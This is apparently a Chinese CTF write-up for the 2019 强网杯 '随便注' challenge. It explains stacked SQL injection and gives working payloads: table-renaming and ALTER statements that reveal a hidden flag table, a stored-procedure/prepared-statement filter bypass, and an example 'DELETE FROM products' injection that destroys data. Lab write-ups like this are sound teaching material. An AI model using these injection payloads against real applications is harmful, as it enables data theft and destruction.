【强网杯2019】随便注
复现: buu
知识点:
-
堆叠注入:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
-
show databases; show tables; show columns from sometable;
-
反引号在MySQL中用来标记出 SQL语句中的 数据库名/表名/列名
-
MySQL修改表名列名: 将table1的表名改为table2: RENAME TABLE `table1` TO `table2` ; 将table表中flag列名改为id : ALTER TABLE `table` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
解题:
可以看到查询页面返回了一些数据
输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了
试一下1’ or 1=1 #
可以看到返回了数据
正常流程,order by
可以看到order by 2的时候是正常回显了,order by 3就出错了,只有2个字段
这时候用union select进行联合查询
返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了
这时候想到堆叠注入,试一下
可以看到成功了,存在堆叠注入,
我们再直接show tables来查询下,试下能不能查询出表
可以看到有两张表,下面分别来看下两张表有什么字段
0’; show columns from words ;#
0’; show columns from `1919810931114514`;#
可以看到1919810931114514中有我们想要的flag字段
因为这里有两张表,回显内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢
方法一
他既然没过滤 alter 和 rename,那么我们是不是可以把表改个名字,再给列改个名字呢。
先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。
这样就可以让程序直接查询出 flag 了
payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
最后用 1′ or ‘1’=’1 访问一下:
方法二
存储过程 + 预编译
题目要求我们 set 和prepare 不能同时使用 。所以set @a=0x.... ; prepare ctftest from @a; execute ctftest; 就不适用了。
我们需要借助存储过程过渡一下 先创建个存储过程再调用
payload:
(1)show tables;
(2)select * from `1919810931114514`;
先执行:
create procedure `vege`(out string text(1024))
BEGIN
SET string= 0x73686F77207461626C65733B;
END;
;#
再执行:
call `vege`(@a); prepare ctftest from @a; execute ctftest;#
永远相信 永远热爱